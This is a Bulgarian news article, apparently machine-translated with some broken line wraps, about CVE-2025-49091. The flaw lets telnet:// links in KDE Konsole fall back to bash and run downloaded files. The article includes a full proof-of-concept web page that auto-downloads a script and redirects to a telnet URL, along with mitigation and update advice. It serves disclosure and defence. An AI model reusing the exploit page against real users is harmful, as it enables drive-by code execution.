Преди няколко дни беше публикувана информация за критична уязвимост, което беше идентифицирано под „CVE-2025 49091-«. Тази уязвимост открит в Консоле (емулаторът на терминала на KDE) позволява дистанционно изпълнение на код само чрез посещение на злонамерена уеб страница от браузър.
Споменава се, че този проблем засяга системи, където KTelnetService и уязвима версия на Konsole са инсталирани, но поне една от програмите telnet, rlogin или ssh не е инсталирана. Уязвимостта се намира в конзолата на KDE Terminal Emulator. Както е отбелязано в съобщението за KDE, версиите на Konsole преди 25.04.2 са уязвими.
Konsole поддържа зареждане на URL адреси от контролери на схеми като
telnet://URL. Това може да се изпълни независимо дали telnet е
Бинарният файл е наличен.В този режим, Konsole имаше маршрут, където, ако Telnet не беше наличен,
ще използва отново bash за предоставените аргументи; което
е предоставеният URL адрес. Това позволява на атакуващия да изпълни произволен код.
код.Браузърите обикновено показват съобщение, когато потребителят отвори външен браузър.
Контролер на схемата, който може да изглежда подозрително и да изисква взаимодействие с потребителя
бъде експлоатиран.
Източникът на проблема: KTelnetService и опасни URL схеми
Изследователите отбелязват, че проблемът зад тази уязвимост се крие в поведението на услугата KTelnetService, включена по подразбиране в KDE. Тази услуга е отговорна за обработката на URL схемите telnet://, rlogin:// и ssh:// и е предназначена да отваря тези връзки директно в Konsole, използвайки съответните помощни програми (telnet, rlogin или ssh).
Проблемът обаче възниква, когато тези помощни програми не са инсталирани на системата. В този случай Konsole, когато се опитва да изпълни командата, посочена във връзката, използва /bin/bash като заместител. Следователно, атакуващият може да изгради персонализирана връзка.
Въпреки че на пръв поглед това изглежда незначително, проблемът се усложнява, защото атакуващият може да изпълни всеки файл в директорията за изтегляния на потребителя, използвайки командата custom. С други думи, всеки файл се изпълнява автоматично, ако потребителят кликне върху връзка с тази схема.
Защо това е толкова опасно?
Съвременните браузъри като Firefox и Chrome (в настройките си по подразбиране) автоматично запазват изтеглените файлове в папката ~/Downloads, без да изискват потвърждение от потребителя. Те показват известие само след като изтеглянето завърши.
Това поведение, съчетано с факта, че в Linux системите е възможен достъп до текущия път на директорията на браузъра, позволява автоматично изтеглен злонамерен файл да бъде впоследствие изпълнен от Konsole без знанието на потребителя.
Доказателство за концепция (PoC): Как се използва уязвимостта
За да демонстрират опасността от уязвимостта, изследователите създадоха следния фрагмент от JavaScript код, който показва как атакуващ може да използва тази уязвимост от уеб страница:
<html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
Във Firefox и Chrome, ако потребителят приеме връзката telnet://, ще бъде извикано следното:
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil
И ако telnet не е наличен, злонамереният скрипт ще бъде изпълнен с bash.
Временни мерки за смекчаване
Докато чакате корекцията или ако не можете да актуализирате веднага, има два прости начина за смекчаване на проблема:
Инсталирайте помощните програми telnet, rlogin и ssh
Ако тези помощни програми са налични, Konsole ще ги извика правилно и няма да прибегне до bash. Това предотвратява изпълнението на произволно съдържание като скрипт.
sudo apt install telnet rlogin openssh-client
Изтрийте файла на услугата KTelnetService
Можете да изтриете файла, отговорен за регистрирането на тези схеми:
sudo rm /usr/share/applications/ktelnetservice6.desktop
Това ще предотврати автоматичната обработка на връзки telnet://, rlogin:// или ssh:// от Konsole.
Решение: Спешна актуализация до Konsole 25.04.2
Уязвимостта е отстранена в Konsole версия 25.04.2, включена в актуализацията KDE Gear 25.04.2. На всички потребители и системни администратори се препоръчва незабавно да актуализират.
И накрая, ако се интересувате да научите повече за него, можете да се консултирате с подробностите в следваща връзка.